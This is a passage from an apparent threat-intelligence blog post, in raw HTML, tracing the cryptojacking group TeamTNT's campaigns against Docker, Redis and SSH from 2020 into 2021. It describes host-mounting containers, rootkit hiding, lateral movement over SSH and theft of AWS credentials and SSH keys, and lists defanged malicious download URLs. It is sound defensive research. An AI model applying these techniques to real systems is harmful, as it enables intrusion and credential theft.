&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Der Frühling 2020 (Spring 2020)&lt;span class="hx:absolute hx:-mt-20" id="der-frühling-2020-spring-2020"&gt;&lt;/span&gt;
&lt;a href="#der-fr%c3%bchling-2020-spring-2020" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;As reported by &lt;a href="https://www.trendmicro.com/vinfo/hk-en/security/news/virtualization-and-cloud/coinminer-ddos-bot-attack-docker-daemon-ports"target="_blank" rel="noopener"&gt;Trend Micro&lt;/a&gt; on May 6, 2020, TeamTNT targeted Docker daemon ports and
abused them to install cryptomining malware and DDoS malware. This is a shift
from their previous targeting of Redis servers and appears to be the first
documented evidence of the group targeting exposed Docker daemon ports and using
them to spread malware.&lt;/p&gt;
&lt;p&gt;As in the previous campaign, the group used several shell scripts to carry out
the attack. The first script &lt;code&gt;mxutzh.sh&lt;/code&gt; is used to bootstrap the infection by
creating a container from an Alpine image. When the container is started, it
uses the volume functionality to mount the host system&amp;rsquo;s root filesystem to
&lt;em&gt;/mnt&lt;/em&gt; inside the container. This gives the root user inside the container the
ability to modify the host machine as if it was root on the host machine. The
container is set to download and execute another script &lt;code&gt;init.sh&lt;/code&gt; which in turn
downloads and executes several shell scripts.&lt;/p&gt;
&lt;p&gt;The use of scripts that download and execute the malicious functionality evades
detection techniques because the image doesn&amp;rsquo;t contain suspicious/malicious
parts, therefore it will not be detected by static analysis tools such as image
scanners.&lt;/p&gt;
&lt;p&gt;As mentioned above the container is mounted to the filesystem of the host so
that the scripts are executed on the host. The &lt;code&gt;init.sh&lt;/code&gt; implements the
functionality for deleting other miners, installing admin tools and cryptomining
malware, implementing evasion techniques and spreading to other victims. Many of
the same techniques were used in the earlier campaigns.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig23.png" title="Figure 22: Overview of the scripts executed in this campaign (as described by Trend Micro)." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 22: Overview of the scripts executed in this campaign (as described by Trend Micro).&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;mxutzh.sh&lt;span class="hx:absolute hx:-mt-20" id="mxutzhsh"&gt;&lt;/span&gt;
&lt;a href="#mxutzhsh" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig24.png" title="Figure 23: Screenshot of mxutzh.sh" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 23: Screenshot of mxutzh.sh&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;As can be seen in Figure 23, &lt;code&gt;mxutzh.sh&lt;/code&gt; gets an argument in the form of an IP address from the victim machine. Using the open-source tool called &lt;a href="https://github.com/robertdavidgraham/masscan"target="_blank" rel="noopener"&gt;masscan&lt;/a&gt; the script scans a predefined list of ports. The function uses &lt;strong&gt;zgrab&lt;/strong&gt; to identify if a Docker service is listening on the port. ZGrab is an open-source application scanner created by the individuals behind &lt;a href="https://censys.io/"target="_blank" rel="noopener"&gt;Censys.io&lt;/a&gt;. For all Docker services found, the script uses the exposed port to spawn a new container from the Alpine image. Using the bind method, the root directory of the victim machine is mounted to the container filesystem. A shell command to download and execute the &lt;code&gt;init.sh&lt;/code&gt; script is set to be executed using &lt;code&gt;sh&lt;/code&gt; shell as soon as the container is created.&lt;/p&gt;
&lt;h3&gt;Init.sh&lt;span class="hx:absolute hx:-mt-20" id="initsh"&gt;&lt;/span&gt;
&lt;a href="#initsh" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig25.png" title="Figure 24: Screenshot of init.sh" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 24: Screenshot of init.sh&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The init.sh script removes previous cronjobs named &amp;ldquo;COVID19&amp;rdquo; and &amp;ldquo;SARScov2&amp;rdquo; and then verifies that &lt;code&gt;curl&lt;/code&gt; and &lt;code&gt;bash&lt;/code&gt; are installed. If not, the script installs them. Next, the script downloads and executes scripts that include other functionalities for the attack.&lt;/p&gt;
&lt;p&gt;The container is created with &lt;code&gt;/bin/sh&lt;/code&gt; shell (as set in &lt;code&gt;mxutzh.sh&lt;/code&gt;) but it
seems that the group decided to use &lt;code&gt;bash&lt;/code&gt; for some scripts and &lt;code&gt;sh&lt;/code&gt; shell for
other scripts.&lt;/p&gt;
&lt;p&gt;When we examined the Uniform Resource Locator (URL)
http://45.9.148[.]123/COVID19/init.sh in VirusTotal we discovered another
&lt;code&gt;init.sh&lt;/code&gt; file, submitted on April 30, 2020, about one month before Trend Micro
released their report. At the time of the report the file had four detections.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig26.png" title="Figure 25: VirusTotal screenshot for the second init.sh file." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 25: VirusTotal screenshot for the second init.sh file.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The other &lt;code&gt;init.sh&lt;/code&gt; script doesn&amp;rsquo;t implement new features, however, it uses a different hosting domain: http://kaiserfranz[.]cc, the domain registered on March 10, 2020.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig27.png" title="Figure 26: Screenshot of the second init.sh file." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 26: Screenshot of the second init.sh file.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;It is interesting to note that the group included &amp;ldquo;COVID19&amp;rdquo; as part of the URLs used to download scripts. Both &lt;code&gt;init.sh&lt;/code&gt; scripts were uploaded to VirusTotal on April 30, 2020. Around this time the COVID-19 pandemic was spreading quickly around the world and countries entered lockdowns.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig28.png" title="Figure 27: Number of daily new confirmed COVID-19 cases from March to May 2020. Source: Our World in Data" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 27: Number of daily new confirmed COVID-19 cases from March to May 2020. Source: Our World in Data&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Some threat actors took advantage of the crisis and started abusing it as a theme for phishing activity knowing that people were desperate for information related to the global pandemic. It is unclear if the use of the term &amp;ldquo;COVID-19&amp;rdquo; is part of an evasion technique since the group doesn&amp;rsquo;t make other attempts to hide its activity.&lt;/p&gt;
&lt;h3&gt;Clean.sh&lt;span class="hx:absolute hx:-mt-20" id="cleansh"&gt;&lt;/span&gt;
&lt;a href="#cleansh" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig29.png" title="Figure 28: Screenshot of clean.sh script." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 28: Screenshot of clean.sh script.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;This script is responsible for: killing processes of other cryptominers, deleting cron jobs and files used by other threat actors, removing containers that execute malware, and disabling monitoring services such as apparmor.&lt;/p&gt;
&lt;h2&gt;DNS&lt;span class="hx:absolute hx:-mt-20" id="dns"&gt;&lt;/span&gt;
&lt;a href="#dns" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig30.png" title="Figure 29: Screenshot of dns script." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 29: Screenshot of dns script.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The init.sh script executes another script named &lt;strong&gt;dns&lt;/strong&gt;. Based on the architecture of the victim system, a tool called &lt;strong&gt;dns3&lt;/strong&gt; (&lt;a href="https://analyze.intezer.com/files/07377cac8687a4cde6e29bc00314c265c7ad71a6919de91f689b58efe07770b0?utm_campaign=research-blog&amp;amp;utm_content=teamtnt-cryptomining-explosion&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;link to analysis&lt;/a&gt;) is downloaded and masqueraded as part of systemd. Based on the code relation this is Tsunami. It has 32-bit and 64-bit versions, both versions which were submitted to VirusTotal on April 19, 2020. For more information check the Tools section.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig31.png" title="Figure 30: Screenshot of dns3 in Intezer Analyze." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 30: Screenshot of dns3 in Intezer Analyze.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Connection to Other Scripts&lt;span class="hx:absolute hx:-mt-20" id="connection-to-other-scripts"&gt;&lt;/span&gt;
&lt;a href="#connection-to-other-scripts" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The IP 45.9.148[.]123 from the &lt;code&gt;init.sh&lt;/code&gt; scripts in this campaign was resolved
to &lt;strong&gt;vps.teamtnt[.]red&lt;/strong&gt; on May 2, 2020 and located in The Netherlands. Based on
VirusTotal the IP address is related to many malicious scripts, two of these
files are: &lt;code&gt;lan.redis.pwn.sh&lt;/code&gt; which was submitted on the day of the domain
resolution and the second file &lt;code&gt;minion_worker.sh&lt;/code&gt; was submitted a couple of days
later.&lt;/p&gt;
&lt;h3&gt;lan.redis.pwn.sh&lt;span class="hx:absolute hx:-mt-20" id="lanredispwnsh"&gt;&lt;/span&gt;
&lt;a href="#lanredispwnsh" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig32.png" title="Figure 31: Screenshot of lan.redis.pwn.sh" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 31: Screenshot of lan.redis.pwn.sh&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig33.png" title="Figure 32: Graph showing the scripts executed by lan.redis.pwn.sh" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 32: Graph showing the scripts executed by lan.redis.pwn.sh&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;minion_worker.sh&lt;span class="hx:absolute hx:-mt-20" id="minion_workersh"&gt;&lt;/span&gt;
&lt;a href="#minion_workersh" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig34.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig35.png" title="Figure 33: Screenshot showing minion_worker.sh" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 33: Screenshot showing minion_worker.sh&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;minion-setup.sh&lt;/code&gt; script targets Redis and uses the URL &lt;code&gt;http://45.9.148[.]123/MoneroOcean/sh/init.sh&lt;/code&gt; to download the init.sh script that will be executed on the exposed Redis instance.&lt;/p&gt;
&lt;p&gt;Both scripts (minion_worker.sh and lan.redis.pwn.sh) target Redis and they use
the tools mentioned in the first captain (bioset and pnscan). Based on
similarities in the functionality and behavior of the scripts we can conclude
that these scripts were part of the campaign that targeted Redis servers.&lt;/p&gt;
&lt;h2&gt;Der Sommer 2020 (Summer 2020)&lt;span class="hx:absolute hx:-mt-20" id="der-sommer-2020-summer-2020"&gt;&lt;/span&gt;
&lt;a href="#der-sommer-2020-summer-2020" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Throughout the Spring and Summer of 2020, TeamTNT targeted exposed Docker
containers. The exploitation techniques used during the Summer were very similar
to the techniques used during the Spring. One key addition was the stealing of
AWS credentials, as first reported by &lt;a href="https://www.cadosecurity.com/post/team-tnt-the-first-crypto-mining-worm-to-steal-aws-credentials"target="_blank" rel="noopener"&gt;Cado Security&lt;/a&gt;. The threat actor scanned the home
directories of the users on the infected machine for the file
&lt;code&gt;~/.aws/credentials&lt;/code&gt;. If the file was found, it would be uploaded together with
the &lt;code&gt;/.aws/config&lt;/code&gt; file to a server controlled by the threat actor.&lt;/p&gt;
&lt;p&gt;The threat actor also started to publish information on their website that
appears to have been collected during their campaign. The screenshot of
TeamTNT&amp;rsquo;s website, seen in Figure 34, shows a list of &amp;ldquo;free/open&amp;rdquo; sandboxes
available on the internet. Since the earliest campaign we detected the threat
actor has been logging the external IP of the machines they have infected. It is
possible that they used this data to identify these sandboxes.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig36.png" title="Figure 34: Screenshot from TeamTNT&amp;#39;s website. The website published unprotected sandboxes (Reproduced with permission from Cado Security: Team TNT – The Crypto-Mining Worm to Steal AWS Credentials 2020)." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 34: Screenshot from TeamTNT&amp;#39;s website. The website published unprotected sandboxes (Reproduced with permission from Cado Security: Team TNT – The Crypto-Mining Worm to Steal AWS Credentials 2020).&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Docker Exploitation&lt;span class="hx:absolute hx:-mt-20" id="docker-exploitation"&gt;&lt;/span&gt;
&lt;a href="#docker-exploitation" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In the Spring activity, the shell script called &lt;code&gt;mxutzh.sh&lt;/code&gt; was used to exploit
Docker hosts. It would call a function named &lt;strong&gt;pwn&lt;/strong&gt; with three arguments. The
first of these arguments was the same first argument passed to the &lt;code&gt;mxutzh.sh&lt;/code&gt;
file when it is executed. During the Summer, this logic was changed and it
instead would get this value from a compromised server. Figure 35 shows the
changes. A similar script file was also used to target other machines on the
same network. Figure 36 shows the function in the &amp;ldquo;lan&amp;rdquo; file that instead scans
the local network.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig37.png" title="Figure 35: Pwn function called. The function uses a URL to determine the range of IPs to scan instead of it being passed onto the parent script file as an argument." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 35: Pwn function called. The function uses a URL to determine the range of IPs to scan instead of it being passed onto the parent script file as an argument.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig38.png" title="Figure 36: Pwn function used to scan other Docker servers on the same network." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 36: Pwn function used to scan other Docker servers on the same network.&lt;/figcaption&gt;
&lt;/figure&gt;
The &lt;strong&gt;pwn&lt;/strong&gt; function was also changed a bit. During the Spring, it would execute
a command to download an &lt;strong&gt;alpine&lt;/strong&gt; image. The image is started with the
instruction to download an initialization shell script. In addition to this
functionality, during the Summer campaign setup the shell script was also passed
in as base-64 encoded data in case the first method failed. Figure 37 shows part
of the &lt;strong&gt;pwn&lt;/strong&gt; function used during Summer. The threat actor also added
instructions to perform the same attack using an &lt;strong&gt;Ubuntu&lt;/strong&gt; image in addition to
the &lt;strong&gt;alpine&lt;/strong&gt; image.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig39.png" title="Figure 37: Part of the own function that is used to infect Docker servers with containers to mine Monero." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 37: Part of the own function that is used to infect Docker servers with containers to mine Monero.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Palo Alto Networks released a &lt;a href="https://unit42.paloaltonetworks.com/cetus-cryptojacking-worm/"target="_blank" rel="noopener"&gt;report in August 2020&lt;/a&gt; on a new malware that they attributed to TeamTNT. The malware, named Cetus, infected one of the researcher&amp;rsquo;s Docker honeypots. Cetus essentially has two jobs, start the miner and infect other servers running Docker. This appears to be the first custom written malware used by the threat actor.&lt;/p&gt;
&lt;p&gt;Since the beginning of their activity, TeamTNT has tried to hide their activity
on infected machines. In the early campaigns, they would mount an empty
directory over a running process&amp;rsquo;s folder in the &lt;strong&gt;procfs&lt;/strong&gt; to hide it from
outputs with &lt;strong&gt;top&lt;/strong&gt; and &lt;strong&gt;ps&lt;/strong&gt;. In the Summer campaign, they took this further
by using a Linux Kernel Module (LKM) rootkit. Figure 38 shows the installation
of the rootkit. The rootkit called Diamorphine is an open-source rootkit hosted
on &lt;a href="https://github.com/m0nad/Diamorphine"target="_blank" rel="noopener"&gt;GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig40.png" title="Figure 38: Setup script for Diamorphine. It installs kernel headers and build tools." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 38: Setup script for Diamorphine. It installs kernel headers and build tools.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The script installs the kernel headers and tools needed to compile the LKM before it downloads the source code for the rootkit via &lt;strong&gt;git&lt;/strong&gt;. After the module has been compiled, it loads the module. The rootkit is used to hide the miner. This is performed by sending a signal &lt;strong&gt;31&lt;/strong&gt; to the process. Figure 39 shows an example of this.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig41.png" title="Figure 39: Arrow points to a command to hide the miner via a signal to the rootkit." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 39: Arrow points to a command to hide the miner via a signal to the rootkit.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;SSH Exploitation&lt;span class="hx:absolute hx:-mt-20" id="ssh-exploitation"&gt;&lt;/span&gt;
&lt;a href="#ssh-exploitation" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The SSH exploitation technique was also updated during this time period. For
example, more &lt;strong&gt;SSH&lt;/strong&gt; related files are exfiltrated from the compromised host,
as seen in Figure 40.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig42.png" title="Figure 40: TeamTNT added more configuration and key files to its list to be exfiltrated from the compromised server." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 40: TeamTNT added more configuration and key files to its list to be exfiltrated from the compromised server.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Like many other threat actors that target Linux servers, TeamTNT also uses the &lt;code&gt;known_hosts&lt;/code&gt; file to find other machines that it may spread to. In addition to this, TeamTNT scans the networks that the machine is connected to using &lt;strong&gt;pnscan,&lt;/strong&gt; to see which other machines have port 22 listening. As can be seen in Figure 41, the result is added to the &lt;code&gt;known_hosts&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig43.png" title="Figure 41: TeamTNT scanning local networks for other machines that are listening on port 22." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 41: TeamTNT scanning local networks for other machines that are listening on port 22.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;To find keys that can be used to authenticate to these machines, the threat actor looks for &lt;code&gt;id_rsa&lt;/code&gt; files in all home folders and checks for defined &lt;strong&gt;IdentityFile&lt;/strong&gt; configurations. Additionally, the bash history is checked for uses of both &lt;strong&gt;SSH&lt;/strong&gt; and &lt;strong&gt;scp&lt;/strong&gt;. The threat actor uses similar techniques to find more servers to spread to. As examples, it checks: the host file for other machines, defined &lt;strong&gt;HostName&lt;/strong&gt; in the SSH config files, bash history, items in the &lt;code&gt;known_hosts&lt;/code&gt; files, and processes connected to external IPs on port 22. Similar methods are also used to determine different user accounts that can be used to connect to the machines. It&amp;rsquo;s worth noting that since the earliest TeamTNT campaigns we uncovered, the threat actor has exfiltrated the bash history files on machines they have compromised. It is possible that they have used this data to devise these methods for gathering keys and IP addresses from other machines that can be used for lateral movements. Figure 42 shows the different commands used.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig44.png" title="Figure 42: List of commands used by TeamTNT to find SSH keys, machines and user accounts that can be used to infect other machines." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 42: List of commands used by TeamTNT to find SSH keys, machines and user accounts that can be used to infect other machines.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The collected data is added to &amp;ldquo;master&amp;rdquo; lists that the script enumerates through. Each username and key is used for all discovered servers. If a successful login is achieved, a command is executed to download a setup shell script on the machine. This logic can be seen in Figure 43.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig45.png" title="Figure 43: For each enumerated host, the script tries to log in with the usernames and keys. If successful, the setup script is downloaded and executed on the machine." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 43: For each enumerated host, the script tries to log in with the usernames and keys. If successful, the setup script is downloaded and executed on the machine.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;In addition to spreading to other machines the following files are downloaded:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;docker-update (XMRig)&lt;/li&gt;
&lt;li&gt;tshd (&lt;a href="https://github.com/creaktive/tsh"target="_blank" rel="noopener"&gt;Tiny SHell&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;kube (Tsunami)&lt;/li&gt;
&lt;li&gt;bioset (Rathole)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Docker Containers&lt;span class="hx:absolute hx:-mt-20" id="docker-containers"&gt;&lt;/span&gt;
&lt;a href="#docker-containers" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In addition to downloading &amp;ldquo;base&amp;rdquo; images from Docker Hub to set up the attack,
&lt;a href="https://blog.aquasec.com/container-security-tnt-container-attack"target="_blank" rel="noopener"&gt;Aqua Security&lt;/a&gt; released research on TeamTNT&amp;rsquo;s use of custom images. The images uploaded by
the user account &lt;strong&gt;hildeteamtnt&lt;/strong&gt; to the hub was categorized into two
categories: &amp;ldquo;Simple and straightforward&amp;rdquo; images used for cryptomining and
&amp;ldquo;Sophisticated&amp;rdquo; used for container escaping. The sophisticated images used the
&lt;strong&gt;Docker Escape Tool&lt;/strong&gt;, an open-source tool hosted on &lt;a href="https://github.com/PercussiveElbow/docker-escape-tool"target="_blank" rel="noopener"&gt;GitHub&lt;/a&gt;. Much of the
techniques and tools used were very similar to the threat actor&amp;rsquo;s previous
activity.&lt;/p&gt;
&lt;h2&gt;Der Herbst 2020 (Fall 2020)&lt;span class="hx:absolute hx:-mt-20" id="der-herbst-2020-fall-2020"&gt;&lt;/span&gt;
&lt;a href="#der-herbst-2020-fall-2020" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;On September 8, 2020 Intezer discovered that TeamTNT abused a legitimate cloud
monitoring tool called Weave Scope. The tool gives the user full access to their
cloud environment and is integrated with Docker, Kubernetes, the Distributed
Cloud Operating System (DC/OS), and AWS Elastic Compute Cloud (ECS).&lt;/p&gt;
&lt;p&gt;Weave Scope is a powerful utility for working with microservices-based
applications, as it has many features including: detailed information about each
container and processes running in them, memory usage of each container, links
and connections between containers, and the ability to start, stop, and open
interactive shells in any of these containers.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig46.png" title="Figure 44: Screenshot of the Weave Scope dashboard." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 44: Screenshot of the Weave Scope dashboard.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;This was the first time TeamTNT was found using a legitimate tool for the
purpose of gaining control over the victim&amp;rsquo;s infrastructure. By installing a
legitimate tool such as Weave Scope the attackers gained all the benefits as if
they had installed a backdoor on the server, with significantly less effort and
without needing to use malware.&lt;/p&gt;
&lt;p&gt;Weave Scope is an open-source project and its installation is relatively easy.
The attackers created a container based on an Ubuntu image and used the mount
functionality. This method was described in the previous section. At this point
the attacker had full access to the filesystem of the victim machine, so they
downloaded and installed Weave Scope as described in the &lt;a href="https://github.com/weaveworks/scope"target="_blank" rel="noopener"&gt;project&amp;rsquo;s Git&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig47.png" title="Figure 45: Scope Weave install to Commands." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 45: Scope Weave install to Commands.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The dashboard of Weave Scope is accessible on port 4040. By exposing this port the attackers gained full access to all of the features of this tool.&lt;/p&gt;
&lt;p&gt;Throughout the Fall of 2020, TeamTNT also expanded their TTPs around credential
stealing to not only target stored AWS credentials. In a &lt;a href="https://unit42.paloaltonetworks.com/black-t-cryptojacking-variant/"target="_blank" rel="noopener"&gt;report published by Palo Alto Networks&lt;/a&gt; in October 2020,
the researchers reported on uses of &lt;strong&gt;mimipenquin&lt;/strong&gt; and &lt;strong&gt;mimipy&lt;/strong&gt; by the threat
actor. Both of these tools are designed to dump passwords from various
processes&amp;rsquo; memory. They are essentially the *NIX equivalent of Mimikatz for
Windows. After the credentials had been dumped, they were exfiltrated to
TeamTNT&amp;rsquo;s C2 server.&lt;/p&gt;
&lt;p&gt;Later the same month, ESET &lt;a href="https://twitter.com/ESETresearch/status/1321246274570620929"target="_blank" rel="noopener"&gt;tweeted&lt;/a&gt; about a new tool the threat actor had added to
their arsenal. The researchers found a binary written in Go with an AES
encrypted payload. When the crypter was executed, it would decrypt the payload
and write it to a memory only file created with the system call &lt;code&gt;memfd_create&lt;/code&gt;.
The tool was identified as Ezuri, an open-source project created by a &lt;a href="https://twitter.com/guitmz"target="_blank" rel="noopener"&gt;security researcher&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig48.png" title="Figure 46: Tweet published by ESET reporting on the initial finding of TeamTNT&amp;#39;s use of Ezuri to crypt their malware." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 46: Tweet published by ESET reporting on the initial finding of TeamTNT&amp;#39;s use of Ezuri to crypt their malware.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Der Winter 2021 (Winter 2021)&lt;span class="hx:absolute hx:-mt-20" id="der-winter-2021-winter-2021"&gt;&lt;/span&gt;
&lt;a href="#der-winter-2021-winter-2021" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In January 2021, &lt;a href="https://www.lacework.com/blog/teamtnt-builds-botnet-from-chinese-cloud-servers/"target="_blank" rel="noopener"&gt;Lacework Labs&lt;/a&gt; released a detailed analysis of &lt;strong&gt;Tsunami&lt;/strong&gt;, the IRC bot
used by TeamTNT. By extracting the configurations embedded in the malware, they
could connect to the IRC server and get more information about the threat
actor&amp;rsquo;s operation and victim information. At the time of their analysis, around
200 bots were connected but only 90 unique IP addresses were detected. We have
seen that TeamTNT has employed techniques to spread to other servers within
internal networks. This suggests that some of the bots were behind a &lt;strong&gt;NAT&lt;/strong&gt; and
shared the same external IP address. The majority of the infected machines were
located in Asia with servers hosted in cloud providers Tencent, Alibaba, and
Amazon Network being the largest. Outside of Asia, the United States, France,
and Germany had the most bots. The researchers also uncovered that some of these
infected machines were used to launch new campaigns.&lt;/p&gt;
&lt;p&gt;The threat actor also added more tools to hide their activity on the infected
machines. In January 2021, AT&amp;amp;T Alien Labs released a &lt;a href="https://cybersecurity.att.com/blogs/labs-research/teamtnt-delivers-malware-with-new-detection-evasion-tool"target="_blank" rel="noopener"&gt;report&lt;/a&gt; on TeamTNT&amp;rsquo;s use of
